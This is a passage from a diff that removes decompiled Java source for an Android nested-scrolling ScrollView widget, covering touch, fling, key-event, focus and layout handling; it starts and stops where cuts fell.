this.mChildHelper.dispatchNestedScroll(i, i2, i3, i4, iArr); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedPreScroll(int i, int i2, int[] iArr, int[] iArr2) { - return this.mChildHelper.dispatchNestedPreScroll(i, i2, iArr, iArr2); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedFling(float f, float f2, boolean z) { - return this.mChildHelper.dispatchNestedFling(f, f2, z); - } - - @Override // android.view.View, android.support.v4.view.NestedScrollingChild - public boolean dispatchNestedPreFling(float f, float f2) { - return this.mChildHelper.dispatchNestedPreFling(f, f2); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedScrollAccepted(View view, View view2, int i) { - this.mParentHelper.onNestedScrollAccepted(view, view2, i); - startNestedScroll(2); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onStopNestedScroll(View view) { - this.mParentHelper.onStopNestedScroll(view); - stopNestedScroll(); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedScroll(View view, int i, int i2, int i3, int i4) { - int scrollY = getScrollY(); - scrollBy(0, i4); - int scrollY2 = getScrollY() - scrollY; - dispatchNestedScroll(0, scrollY2, 0, i4 - scrollY2, null); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public void onNestedPreScroll(View view, int i, int i2, int[] iArr) { - dispatchNestedPreScroll(i, i2, iArr, null); - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onNestedFling(View view, float f, float f2, boolean z) { - if (z) { - return false; - } - flingWithNestedDispatch((int) f2); - return true; - } - - @Override // android.view.ViewGroup, android.view.ViewParent, android.support.v4.view.NestedScrollingParent - public boolean onNestedPreFling(View view, float f, float f2) { - return dispatchNestedPreFling(f, f2); - } - - @Override // android.view.ViewGroup, android.support.v4.view.NestedScrollingParent - public int getNestedScrollAxes() { - return this.mParentHelper.getNestedScrollAxes(); - } - - @Override // android.view.View - protected float getTopFadingEdgeStrength() { - if (getChildCount() == 0) { - return 0.0f; - } - int verticalFadingEdgeLength = getVerticalFadingEdgeLength(); - int scrollY = getScrollY(); - if (scrollY < verticalFadingEdgeLength) { - return scrollY / verticalFadingEdgeLength; - } - return 1.0f; - } - - @Override // android.view.View - protected float getBottomFadingEdgeStrength() { - if (getChildCount() == 0) { - return 0.0f; - } - int verticalFadingEdgeLength = getVerticalFadingEdgeLength(); - int bottom = (getChildAt(0).getBottom() - getScrollY()) - (getHeight() - getPaddingBottom()); - if (bottom < verticalFadingEdgeLength) { - return bottom / verticalFadingEdgeLength; - } - return 1.0f; - } - - public int getMaxScrollAmount() { - return (int) (getHeight() * MAX_SCROLL_FACTOR); - } - - private void initScrollView() { - this.mScroller = ScrollerCompat.create(getContext(), null); - setFocusable(true); - setDescendantFocusability(262144); - setWillNotDraw(false); - ViewConfiguration viewConfiguration = ViewConfiguration.get(getContext()); - this.mTouchSlop = viewConfiguration.getScaledTouchSlop(); - this.mMinimumVelocity = viewConfiguration.getScaledMinimumFlingVelocity(); - this.mMaximumVelocity = viewConfiguration.getScaledMaximumFlingVelocity(); - } - - @Override // android.view.ViewGroup - public void addView(View view) { - if (getChildCount() > 0) { - throw new IllegalStateException("ScrollView can host only one direct child"); - } - super.addView(view); - } - - @Override // android.view.ViewGroup - public void addView(View view, int i) { - if (getChildCount() > 0) { - throw new IllegalStateException("ScrollView can host only one direct child"); - } - super.addView(view, i); - } - - @Override // android.view.ViewGroup, android.view.ViewManager - public void addView(View view, ViewGroup.LayoutParams layoutParams) { - if (getChildCount() > 0) { - throw new IllegalStateException("ScrollView can host only one direct child"); - } - super.addView(view, layoutParams); - } - - @Override // android.view.ViewGroup - public void addView(View view, int i, ViewGroup.LayoutParams layoutParams) { - if (getChildCount() > 0) { - throw new IllegalStateException("ScrollView can host only one direct child"); - } - super.addView(view, i, layoutParams); - } - - public void setOnScrollChangeListener(OnScrollChangeListener onScrollChangeListener) { - this.mOnScrollChangeListener = onScrollChangeListener; - } - - private boolean canScroll() { - View childAt = getChildAt(0); - if (childAt != null) { - return getHeight() < (childAt.getHeight() + getPaddingTop()) + getPaddingBottom(); - } - return false; - } - - public boolean isFillViewport() { - return this.mFillViewport; - } - - public void setFillViewport(boolean z) { - if (z != this.mFillViewport) { - this.mFillViewport = z; - requestLayout(); - } - } - - public boolean isSmoothScrollingEnabled() { - return this.mSmoothScrollingEnabled; - } - - public void setSmoothScrollingEnabled(boolean z) { - this.mSmoothScrollingEnabled = z; - } - - @Override // android.view.View - protected void onScrollChanged(int i, int i2, int i3, int i4) { - super.onScrollChanged(i, i2, i3, i4); - OnScrollChangeListener onScrollChangeListener = this.mOnScrollChangeListener; - if (onScrollChangeListener != null) { - onScrollChangeListener.onScrollChange(this, i, i2, i3, i4); - } - } - - @Override // android.widget.FrameLayout, android.view.View - protected void onMeasure(int i, int i2) { - super.onMeasure(i, i2); - if (this.mFillViewport && View.MeasureSpec.getMode(i2) != 0 && getChildCount() > 0) { - View childAt = getChildAt(0); - int measuredHeight = getMeasuredHeight(); - if (childAt.getMeasuredHeight() < measuredHeight) { - childAt.measure(getChildMeasureSpec(i, getPaddingLeft() + getPaddingRight(), ((FrameLayout.LayoutParams) childAt.getLayoutParams()).width), View.MeasureSpec.makeMeasureSpec((measuredHeight - getPaddingTop()) - getPaddingBottom(), 1073741824)); - } - } - } - - @Override // android.view.ViewGroup, android.view.View - public boolean dispatchKeyEvent(KeyEvent keyEvent) { - return super.dispatchKeyEvent(keyEvent) || executeKeyEvent(keyEvent); - } - - public boolean executeKeyEvent(KeyEvent keyEvent) { - this.mTempRect.setEmpty(); - boolean canScroll = canScroll(); - int i = TransportMediator.KEYCODE_MEDIA_RECORD; - if (!canScroll) { - if (!isFocused() || keyEvent.getKeyCode() == 4) { - return false; - } - View findFocus = findFocus(); - if (findFocus == this) { - findFocus = null; - } - View findNextFocus = FocusFinder.getInstance().findNextFocus(this, findFocus, TransportMediator.KEYCODE_MEDIA_RECORD); - return (findNextFocus == null || findNextFocus == this || !findNextFocus.requestFocus(TransportMediator.KEYCODE_MEDIA_RECORD)) ? false : true; - } else if (keyEvent.getAction() == 0) { - int keyCode = keyEvent.getKeyCode(); - if (keyCode == 19) { - if (!keyEvent.isAltPressed()) { - return arrowScroll(33); - } - return fullScroll(33); - } else if (keyCode == 20) { - if (!keyEvent.isAltPressed()) { - return arrowScroll(TransportMediator.KEYCODE_MEDIA_RECORD); - } - return fullScroll(TransportMediator.KEYCODE_MEDIA_RECORD); - } else if (keyCode != 62) { - return false; - } else { - if (keyEvent.isShiftPressed()) { - i = 33; - } - pageScroll(i); - return false; - } - } else { - return false; - } - } - - private boolean inChild(int i, int i2) { - if (getChildCount() > 0) { - int scrollY = getScrollY(); - View childAt = getChildAt(0); - return i2 >= childAt.getTop() - scrollY && i2 < childAt.getBottom() - scrollY && i >= childAt.getLeft() && i < childAt.getRight(); - } - return false; - } - - private void initOrResetVelocityTracker() { - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker == null) { - this.mVelocityTracker = VelocityTracker.obtain(); - } else { - velocityTracker.clear(); - } - } - - private void initVelocityTrackerIfNotExists() { - if (this.mVelocityTracker == null) { - this.mVelocityTracker = VelocityTracker.obtain(); - } - } - - private void recycleVelocityTracker() { - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker != null) { - velocityTracker.recycle(); - this.mVelocityTracker = null; - } - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public void requestDisallowInterceptTouchEvent(boolean z) { - if (z) { - recycleVelocityTracker(); - } - super.requestDisallowInterceptTouchEvent(z); - } - - @Override // android.view.ViewGroup - public boolean onInterceptTouchEvent(MotionEvent motionEvent) { - int action = motionEvent.getAction(); - if (action == 2 && this.mIsBeingDragged) { - return true; - } - int i = action & 255; - if (i == 0) { - int y = (int) motionEvent.getY(); - if (!inChild((int) motionEvent.getX(), y)) { - this.mIsBeingDragged = false; - recycleVelocityTracker(); - } else { - this.mLastMotionY = y; - this.mActivePointerId = motionEvent.getPointerId(0); - initOrResetVelocityTracker(); - this.mVelocityTracker.addMovement(motionEvent); - this.mScroller.computeScrollOffset(); - this.mIsBeingDragged = !this.mScroller.isFinished(); - startNestedScroll(2); - } - } else { - if (i != 1) { - if (i == 2) { - int i2 = this.mActivePointerId; - if (i2 != -1) { - int findPointerIndex = motionEvent.findPointerIndex(i2); - if (findPointerIndex == -1) { - Log.e(TAG, "Invalid pointerId=" + i2 + " in onInterceptTouchEvent"); - } else { - int y2 = (int) motionEvent.getY(findPointerIndex); - if (Math.abs(y2 - this.mLastMotionY) > this.mTouchSlop && (2 & getNestedScrollAxes()) == 0) { - this.mIsBeingDragged = true; - this.mLastMotionY = y2; - initVelocityTrackerIfNotExists(); - this.mVelocityTracker.addMovement(motionEvent); - this.mNestedYOffset = 0; - ViewParent parent = getParent(); - if (parent != null) { - parent.requestDisallowInterceptTouchEvent(true); - } - } - } - } - } else if (i != 3) { - if (i == 6) { - onSecondaryPointerUp(motionEvent); - } - } - } - this.mIsBeingDragged = false; - this.mActivePointerId = -1; - recycleVelocityTracker(); - if (this.mScroller.springBack(getScrollX(), getScrollY(), 0, 0, 0, getScrollRange())) { - ViewCompat.postInvalidateOnAnimation(this); - } - stopNestedScroll(); - } - return this.mIsBeingDragged; - } - - @Override // android.view.View - public boolean onTouchEvent(MotionEvent motionEvent) { - ViewParent parent; - initVelocityTrackerIfNotExists(); - MotionEvent obtain = MotionEvent.obtain(motionEvent); - int actionMasked = MotionEventCompat.getActionMasked(motionEvent); - if (actionMasked == 0) { - this.mNestedYOffset = 0; - } - obtain.offsetLocation(0.0f, this.mNestedYOffset); - if (actionMasked != 0) { - if (actionMasked == 1) { - if (this.mIsBeingDragged) { - VelocityTracker velocityTracker = this.mVelocityTracker; - velocityTracker.computeCurrentVelocity(1000, this.mMaximumVelocity); - int yVelocity = (int) VelocityTrackerCompat.getYVelocity(velocityTracker, this.mActivePointerId); - if (Math.abs(yVelocity) > this.mMinimumVelocity) { - flingWithNestedDispatch(-yVelocity); - } else if (this.mScroller.springBack(getScrollX(), getScrollY(), 0, 0, 0, getScrollRange())) { - ViewCompat.postInvalidateOnAnimation(this); - } - } - this.mActivePointerId = -1; - endDrag(); - } else if (actionMasked == 2) { - int findPointerIndex = motionEvent.findPointerIndex(this.mActivePointerId); - if (findPointerIndex == -1) { - Log.e(TAG, "Invalid pointerId=" + this.mActivePointerId + " in onTouchEvent"); - } else { - int y = (int) motionEvent.getY(findPointerIndex); - int i = this.mLastMotionY - y; - if (dispatchNestedPreScroll(0, i, this.mScrollConsumed, this.mScrollOffset)) { - i -= this.mScrollConsumed[1]; - obtain.offsetLocation(0.0f, this.mScrollOffset[1]); - this.mNestedYOffset += this.mScrollOffset[1]; - } - if (!this.mIsBeingDragged && Math.abs(i) > this.mTouchSlop) { - ViewParent parent2 = getParent(); - if (parent2 != null) { - parent2.requestDisallowInterceptTouchEvent(true); - } - this.mIsBeingDragged = true; - if (i > 0) { - i -= this.mTouchSlop; - } else { - i += this.mTouchSlop; - } - } - int i2 = i; - if (this.mIsBeingDragged) { - this.mLastMotionY = y - this.mScrollOffset[1]; - int scrollY = getScrollY(); - int scrollRange = getScrollRange(); - int overScrollMode = getOverScrollMode(); - boolean z = overScrollMode == 0 || (overScrollMode == 1 && scrollRange > 0); - if (overScrollByCompat(0, i2, 0, getScrollY(), 0, scrollRange, 0, 0, true) && !hasNestedScrollingParent()) { - this.mVelocityTracker.clear(); - } - int scrollY2 = getScrollY() - scrollY; - if (dispatchNestedScroll(0, scrollY2, 0, i2 - scrollY2, this.mScrollOffset)) { - int i3 = this.mLastMotionY; - int i4 = this.mScrollOffset[1]; - this.mLastMotionY = i3 - i4; - obtain.offsetLocation(0.0f, i4); - this.mNestedYOffset += this.mScrollOffset[1]; - } else if (z) { - ensureGlows(); - int i5 = scrollY + i2; - if (i5 < 0) { - this.mEdgeGlowTop.onPull(i2 / getHeight(), motionEvent.getX(findPointerIndex) / getWidth()); - if (!this.mEdgeGlowBottom.isFinished()) { - this.mEdgeGlowBottom.onRelease(); - } - } else if (i5 > scrollRange) { - this.mEdgeGlowBottom.onPull(i2 / getHeight(), 1.0f - (motionEvent.getX(findPointerIndex) / getWidth())); - if (!this.mEdgeGlowTop.isFinished()) { - this.mEdgeGlowTop.onRelease(); - } - } - EdgeEffectCompat edgeEffectCompat = this.mEdgeGlowTop; - if (edgeEffectCompat != null && (!edgeEffectCompat.isFinished() || !this.mEdgeGlowBottom.isFinished())) { - ViewCompat.postInvalidateOnAnimation(this); - } - } - } - } - } else if (actionMasked == 3) { - if (this.mIsBeingDragged && getChildCount() > 0 && this.mScroller.springBack(getScrollX(), getScrollY(), 0, 0, 0, getScrollRange())) { - ViewCompat.postInvalidateOnAnimation(this); - } - this.mActivePointerId = -1; - endDrag(); - } else if (actionMasked == 5) { - int actionIndex = MotionEventCompat.getActionIndex(motionEvent); - this.mLastMotionY = (int) motionEvent.getY(actionIndex); - this.mActivePointerId = motionEvent.getPointerId(actionIndex); - } else if (actionMasked == 6) { - onSecondaryPointerUp(motionEvent); - this.mLastMotionY = (int) motionEvent.getY(motionEvent.findPointerIndex(this.mActivePointerId)); - } - } else if (getChildCount() == 0) { - return false; - } else { - boolean z2 = !this.mScroller.isFinished(); - this.mIsBeingDragged = z2; - if (z2 && (parent = getParent()) != null) { - parent.requestDisallowInterceptTouchEvent(true); - } - if (!this.mScroller.isFinished()) { - this.mScroller.abortAnimation(); - } - this.mLastMotionY = (int) motionEvent.getY(); - this.mActivePointerId = motionEvent.getPointerId(0); - startNestedScroll(2); - } - VelocityTracker velocityTracker2 = this.mVelocityTracker; - if (velocityTracker2 != null) { - velocityTracker2.addMovement(obtain); - } - obtain.recycle(); - return true; - } - - private void onSecondaryPointerUp(MotionEvent motionEvent) { - int action = (motionEvent.getAction() & MotionEventCompat.ACTION_POINTER_INDEX_MASK) >> 8; - if (motionEvent.getPointerId(action) == this.mActivePointerId) { - int i = action == 0 ? 1 : 0; - this.mLastMotionY = (int) motionEvent.getY(i); - this.mActivePointerId = motionEvent.getPointerId(i); - VelocityTracker velocityTracker = this.mVelocityTracker; - if (velocityTracker != null) { - velocityTracker.clear(); - } - } - } - - @Override // android.view.View - public boolean onGenericMotionEvent(MotionEvent motionEvent) { - if ((motionEvent.getSource() & 2) != 0 && motionEvent.getAction() == 8 && !this.mIsBeingDragged) { - float axisValue = MotionEventCompat.getAxisValue(motionEvent, 9); - if (axisValue != 0.0f) { - int scrollRange = getScrollRange(); - int scrollY = getScrollY(); - int verticalScrollFactorCompat = scrollY - ((int) (axisValue * getVerticalScrollFactorCompat())); - if (verticalScrollFactorCompat < 0) { - scrollRange = 0; - } else if (verticalScrollFactorCompat <= scrollRange) { - scrollRange = verticalScrollFactorCompat; - } - if (scrollRange != scrollY) { - super.scrollTo(getScrollX(), scrollRange); - return true; - } - } - } - return false; - } - - private float getVerticalScrollFactorCompat() { - if (this.mVerticalScrollFactor == 0.0f) { - TypedValue typedValue = new TypedValue(); - Context context = getContext(); - if (!context.getTheme().resolveAttribute(16842829, typedValue, true)) { - throw new IllegalStateException("Expected theme to define listPreferredItemHeight."); - } - this.mVerticalScrollFactor = typedValue.getDimension(context.getResources().getDisplayMetrics()); - } - return this.mVerticalScrollFactor; - } - - @Override // android.view.View - protected void onOverScrolled(int i, int i2, boolean z, boolean z2) { - super.scrollTo(i, i2); - } - - boolean overScrollByCompat(int i, int i2, int i3, int i4, int i5, int i6, int i7, int i8, boolean z) { - boolean z2; - boolean z3; - int overScrollMode = getOverScrollMode(); - boolean z4 = computeHorizontalScrollRange() > computeHorizontalScrollExtent(); - boolean z5 = computeVerticalScrollRange() > computeVerticalScrollExtent(); - boolean z6 = overScrollMode == 0 || (overScrollMode == 1 && z4); - boolean z7 = overScrollMode == 0 || (overScrollMode == 1 && z5); - int i9 = i3 + i; - int i10 = !z6 ? 0 : i7; - int i11 = i4 + i2; - int i12 = !z7 ? 0 : i8; - int i13 = -i10; - int i14 = i10 + i5; - int i15 = -i12; - int i16 = i12 + i6; - if (i9 > i14) { - i9 = i14; - z2 = true; - } else if (i9 < i13) { - z2 = true; - i9 = i13; - } else { - z2 = false; - } - if (i11 > i16) { - i11 = i16; - z3 = true; - } else if (i11 < i15) { - z3 = true; - i11 = i15; - } else { - z3 = false; - } - if (z3) { - this.mScroller.springBack(i9, i11, 0, 0, 0, getScrollRange()); - } - onOverScrolled(i9, i11, z2, z3); - return z2 || z3; - } - - int getScrollRange() { - if (getChildCount() > 0) { - return Math.max(0, getChildAt(0).getHeight() - ((getHeight() - getPaddingBottom()) - getPaddingTop())); - } - return 0; - } - - private View findFocusableViewInBounds(boolean z, int i, int i2) { - ArrayList focusables = getFocusables(2); - int size = focusables.size(); - View view = null; - boolean z2 = false; - for (int i3 = 0; i3 < size; i3++) { - View view2 = (View) focusables.get(i3); - int top = view2.getTop(); - int bottom = view2.getBottom(); - if (i < bottom && top < i2) { - boolean z3 = i < top && bottom < i2; - if (view == null) { - view = view2; - z2 = z3; - } else { - boolean z4 = (z && top < view.getTop()) || (!z && bottom > view.getBottom()); - if (z2) { - if (z3) { - if (!z4) { - } - view = view2; - } - } else if (z3) { - view = view2; - z2 = true; - } else { - if (!z4) { - } - view = view2; - } - } - } - } - return view; - } - - public boolean pageScroll(int i) { - boolean z = i == 130; - int height = getHeight(); - if (z) { - this.mTempRect.top = getScrollY() + height; - int childCount = getChildCount(); - if (childCount > 0) { - View childAt = getChildAt(childCount - 1); - if (this.mTempRect.top + height > childAt.getBottom()) { - this.mTempRect.top = childAt.getBottom() - height; - } - } - } else { - this.mTempRect.top = getScrollY() - height; - if (this.mTempRect.top < 0) { - this.mTempRect.top = 0; - } - } - Rect rect = this.mTempRect; - rect.bottom = rect.top + height; - return scrollAndFocus(i, this.mTempRect.top, this.mTempRect.bottom); - } - - public boolean fullScroll(int i) { - int childCount; - boolean z = i == 130; - int height = getHeight(); - this.mTempRect.top = 0; - this.mTempRect.bottom = height; - if (z && (childCount = getChildCount()) > 0) { - this.mTempRect.bottom = getChildAt(childCount - 1).getBottom() + getPaddingBottom(); - Rect rect = this.mTempRect; - rect.top = rect.bottom - height; - } - return scrollAndFocus(i, this.mTempRect.top, this.mTempRect.bottom); - } - - private boolean scrollAndFocus(int i, int i2, int i3) { - int height = getHeight(); - int scrollY = getScrollY(); - int i4 = height + scrollY; - boolean z = false; - boolean z2 = i == 33; - View findFocusableViewInBounds = findFocusableViewInBounds(z2, i2, i3); - if (findFocusableViewInBounds == null) { - findFocusableViewInBounds = this; - } - if (i2 < scrollY || i3 > i4) { - doScrollY(z2 ? i2 - scrollY : i3 - i4); - z = true; - } - if (findFocusableViewInBounds != findFocus()) { - findFocusableViewInBounds.requestFocus(i); - } - return z; - } - - public boolean arrowScroll(int i) { - int bottom; - View findFocus = findFocus(); - if (findFocus == this) { - findFocus = null; - } - View findNextFocus = FocusFinder.getInstance().findNextFocus(this, findFocus, i); - int maxScrollAmount = getMaxScrollAmount(); - if (findNextFocus != null && isWithinDeltaOfScreen(findNextFocus, maxScrollAmount, getHeight())) { - findNextFocus.getDrawingRect(this.mTempRect); - offsetDescendantRectToMyCoords(findNextFocus, this.mTempRect); - doScrollY(computeScrollDeltaToGetChildRectOnScreen(this.mTempRect)); - findNextFocus.requestFocus(i); - } else { - if (i == 33 && getScrollY() < maxScrollAmount) { - maxScrollAmount = getScrollY(); - } else if (i == 130 && getChildCount() > 0 && (bottom = getChildAt(0).getBottom() - ((getScrollY() + getHeight()) - getPaddingBottom())) < maxScrollAmount) { - maxScrollAmount = bottom; - } - if (maxScrollAmount == 0) { - return false; - } - if (i != 130) { - maxScrollAmount = -maxScrollAmount; - } - doScrollY(maxScrollAmount); - } - if (findFocus != null && findFocus.isFocused() && isOffScreen(findFocus)) { - int descendantFocusability = getDescendantFocusability(); - setDescendantFocusability(131072); - requestFocus(); - setDescendantFocusability(descendantFocusability); - return true; - } - return true; - } - - private boolean isOffScreen(View view) { - return !isWithinDeltaOfScreen(view, 0, getHeight()); - } - - private boolean isWithinDeltaOfScreen(View view, int i, int i2) { - view.getDrawingRect(this.mTempRect); - offsetDescendantRectToMyCoords(view, this.mTempRect); - return this.mTempRect.bottom + i >= getScrollY() && this.mTempRect.top - i <= getScrollY() + i2; - } - - private void doScrollY(int i) { - if (i != 0) { - if (this.mSmoothScrollingEnabled) { - smoothScrollBy(0, i); - } else { - scrollBy(0, i); - } - } - } - - public final void smoothScrollBy(int i, int i2) { - if (getChildCount() == 0) { - return; - } - if (AnimationUtils.currentAnimationTimeMillis() - this.mLastScroll > 250) { - int max = Math.max(0, getChildAt(0).getHeight() - ((getHeight() - getPaddingBottom()) - getPaddingTop())); - int scrollY = getScrollY(); - this.mScroller.startScroll(getScrollX(), scrollY, 0, Math.max(0, Math.min(i2 + scrollY, max)) - scrollY); - ViewCompat.postInvalidateOnAnimation(this); - } else { - if (!this.mScroller.isFinished()) { - this.mScroller.abortAnimation(); - } - scrollBy(i, i2); - } - this.mLastScroll = AnimationUtils.currentAnimationTimeMillis(); - } - - public final void smoothScrollTo(int i, int i2) { - smoothScrollBy(i - getScrollX(), i2 - getScrollY()); - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeVerticalScrollRange() { - int childCount = getChildCount(); - int height = (getHeight() - getPaddingBottom()) - getPaddingTop(); - if (childCount == 0) { - return height; - } - int bottom = getChildAt(0).getBottom(); - int scrollY = getScrollY(); - int max = Math.max(0, bottom - height); - return scrollY < 0 ? bottom - scrollY : scrollY > max ? bottom + (scrollY - max) : bottom; - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeVerticalScrollOffset() { - return Math.max(0, super.computeVerticalScrollOffset()); - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeVerticalScrollExtent() { - return super.computeVerticalScrollExtent(); - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeHorizontalScrollRange() { - return super.computeHorizontalScrollRange(); - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeHorizontalScrollOffset() { - return super.computeHorizontalScrollOffset(); - } - - @Override // android.view.View, android.support.v4.view.ScrollingView - public int computeHorizontalScrollExtent() { - return super.computeHorizontalScrollExtent(); - } - - @Override // android.view.ViewGroup - protected void measureChild(View view, int i, int i2) { - view.measure(getChildMeasureSpec(i, getPaddingLeft() + getPaddingRight(), view.getLayoutParams().width), View.MeasureSpec.makeMeasureSpec(0, 0)); - } - - @Override // android.view.ViewGroup - protected void measureChildWithMargins(View view, int i, int i2, int i3, int i4) { - ViewGroup.MarginLayoutParams marginLayoutParams = (ViewGroup.MarginLayoutParams) view.getLayoutParams(); - view.measure(getChildMeasureSpec(i, getPaddingLeft() + getPaddingRight() + marginLayoutParams.leftMargin + marginLayoutParams.rightMargin + i2, marginLayoutParams.width), View.MeasureSpec.makeMeasureSpec(marginLayoutParams.topMargin + marginLayoutParams.bottomMargin, 0)); - } - - @Override // android.view.View - public void computeScroll() { - if (this.mScroller.computeScrollOffset()) { - int scrollX = getScrollX(); - int scrollY = getScrollY(); - int currX = this.mScroller.getCurrX(); - int currY = this.mScroller.getCurrY(); - if (scrollX == currX && scrollY == currY) { - return; - } - int scrollRange = getScrollRange(); - int overScrollMode = getOverScrollMode(); - boolean z = true; - if (overScrollMode != 0 && (overScrollMode != 1 || scrollRange <= 0)) { - z = false; - } - boolean z2 = z; - overScrollByCompat(currX - scrollX, currY - scrollY, scrollX, scrollY, 0, scrollRange, 0, 0, false); - if (z2) { - ensureGlows(); - if (currY <= 0 && scrollY > 0) { - this.mEdgeGlowTop.onAbsorb((int) this.mScroller.getCurrVelocity()); - } else if (currY < scrollRange || scrollY >= scrollRange) { - } else { - this.mEdgeGlowBottom.onAbsorb((int) this.mScroller.getCurrVelocity()); - } - } - } - } - - private void scrollToChild(View view) { - view.getDrawingRect(this.mTempRect); - offsetDescendantRectToMyCoords(view, this.mTempRect); - int computeScrollDeltaToGetChildRectOnScreen = computeScrollDeltaToGetChildRectOnScreen(this.mTempRect); - if (computeScrollDeltaToGetChildRectOnScreen != 0) { - scrollBy(0, computeScrollDeltaToGetChildRectOnScreen); - } - } - - private boolean scrollToChildRect(Rect rect, boolean z) { - int computeScrollDeltaToGetChildRectOnScreen = computeScrollDeltaToGetChildRectOnScreen(rect); - boolean z2 = computeScrollDeltaToGetChildRectOnScreen != 0; - if (z2) { - if (z) { - scrollBy(0, computeScrollDeltaToGetChildRectOnScreen); - } else { - smoothScrollBy(0, computeScrollDeltaToGetChildRectOnScreen); - } - } - return z2; - } - - protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) { - int i; - int i2; - if (getChildCount() == 0) { - return 0; - } - int height = getHeight(); - int scrollY = getScrollY(); - int i3 = scrollY + height; - int verticalFadingEdgeLength = getVerticalFadingEdgeLength(); - if (rect.top > 0) { - scrollY += verticalFadingEdgeLength; - } - if (rect.bottom < getChildAt(0).getHeight()) { - i3 -= verticalFadingEdgeLength; - } - if (rect.bottom > i3 && rect.top > scrollY) { - if (rect.height() > height) { - i2 = rect.top - scrollY; - } else { - i2 = rect.bottom - i3; - } - return Math.min(i2, getChildAt(0).getBottom() - i3); - } else if (rect.top >= scrollY || rect.bottom >= i3) { - return 0; - } else { - if (rect.height() > height) { - i = 0 - (i3 - rect.bottom); - } else { - i = 0 - (scrollY - rect.top); - } - return Math.max(i, -getScrollY()); - } - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public void requestChildFocus(View view, View view2) { - if (!this.mIsLayoutDirty) { - scrollToChild(view2); - } else { - this.mChildToScrollTo = view2; - } - super.requestChildFocus(view, view2); - } - - @Override // android.view.ViewGroup - protected boolean onRequestFocusInDescendants(int i, Rect rect) { - View findNextFocusFromRect; - if (i == 2) { - i = TransportMediator.KEYCODE_MEDIA_RECORD; - } else if (i == 1) { - i = 33; - } - if (rect == null) { - findNextFocusFromRect = FocusFinder.getInstance().findNextFocus(this, null, i); - } else { - findNextFocusFromRect = FocusFinder.getInstance().findNextFocusFromRect(this, rect, i); - } - if (findNextFocusFromRect == null || isOffScreen(findNextFocusFromRect)) { - return false; - } - return findNextFocusFromRect.requestFocus(i, rect); - } - - @Override // android.view.ViewGroup, android.view.ViewParent - public boolean requestChildRectangleOnScreen(View view, Rect rect, boolean z) { - rect.offset(view.getLeft() - view.getScrollX(), view.getTop() - view.getScrollY()); - return scrollToChildRect(rect, z); - } - - @Override // android.view.View, android.view.ViewParent - public void requestLayout() { - this.mIsLayoutDirty = true; - super.requestLayout(); - } - - @Override // android.widget.FrameLayout, android.view.ViewGroup, android.view.View - protected void onLayout(boolean z, int i, int i2, int i3, int i4) { - super.onLayout(z, i, i2, i3, i4); - this.mIsLayoutDirty = false; - View view = this.mChildToScrollTo; - if (view != null && isViewDescendantOf(view, this)) { - scrollToChild(this.mChildToScrollTo); - } - this.mChildToScrollTo = null; - if (!this.mIsLaidOut) { - if (this.mSavedState != null) { - scrollTo(getScrollX(), this.mSavedState.scrollPosition); - this.mSavedState = null; - } - int max = Math.max(0, (getChildCount() > 0 ? getChildAt(0).getMeasuredHeight() : 0) - (((i4 - i2) - getPaddingBottom()) - getPaddingTop())); - if (getScrollY() > max) { - scrollTo(getScrollX(), max); - } else if (getScrollY() < 0) { - scrollTo(getScrollX(), 0); - } - } - scrollTo(getScrollX(), getScrollY()); - this.mIsLaidOut = true; - } - - @Override // android.view.ViewGroup, android.view.View - public void onAttachedToWindow() { - super.onAttachedToWindow(); - this.mIsLaidOut = false; - } - - @Override // android.view.View - protected void onSizeChanged(int i, int i2, int i3, int i4) { - super.onSizeChanged(i, i2, i3, i4); - View findFocus = findFocus(); - if (findFocus == null || this == findFocus || !isWithinDeltaOfScreen(findFocus, 0, i4)) { - return; - } - findFocus.getDrawingRect(this.mTempRect); - offsetDescendantRectToMyCoords(findFocus, this.mTempRect); - doScrollY(computeScrollDeltaToGetChildRectOnScreen(this.mTempRect)); - } - - private static boolean isViewDescendantOf(View view, View view2) { - if (view == view2) { - return true; - } - ViewParent parent = view.getParent(); - return (parent instanceof ViewGroup) && isViewDescendantOf((View) parent, view2); - } - - public void fling(int i) { - if (getChildCount() > 0) { - int height = (getHeight() - getPaddingBottom()) - getPaddingTop(); - this.mScroller.fling(getScrollX(), getScrollY(), 0, i, 0, 0, 0, Math.max(0, getChildAt(0).getHeight() - height), 0, height / 2); - ViewCompat.postInvalidateOnAnimation(this); - } - } - - private void flingWithNestedDispatch(int i) { - int scrollY = getScrollY(); - boolean z = (scrollY > 0 || i > 0) && (scrollY < getScrollRange() || i < 0); - float f = i; - if (dispatchNestedPreFling(0.0f, f)) { - return; - } - dispatchNestedFling(0.0f, f, z); - if (z) { - fling(i); - } - } - - private void endDrag() { - this.mIsBeingDragged = false; - recycleVelocityTracker(); - stopNestedScroll(); - EdgeEffectCompat edgeEffectCompat = this.mEdgeGlowTop; - if (edgeEffectCompat != null) { - edgeEffectCompat.onRelease(); - this.mEdgeGlowBottom.onRelease(); - } - } - - @Override // android.view.View - public void scrollTo(int i, int i2) { - if (getChildCount() > 0) { - View childAt = getChildAt(0); - int clamp = clamp(i, (getWidth() - getPaddingRight()) - getPaddingLeft(), childAt.getWidth()); - int clamp2 = clamp(i2, (getHeight() - getPaddingBottom()) - getPaddingTop(), childAt.getHeight()); - if (clamp == getScrollX() && clamp2 == getScrollY()) { - return; - } - super.scrollTo(clamp, clamp2); - } - } - - private void ensureGlows() { - if (getOverScrollMode() != 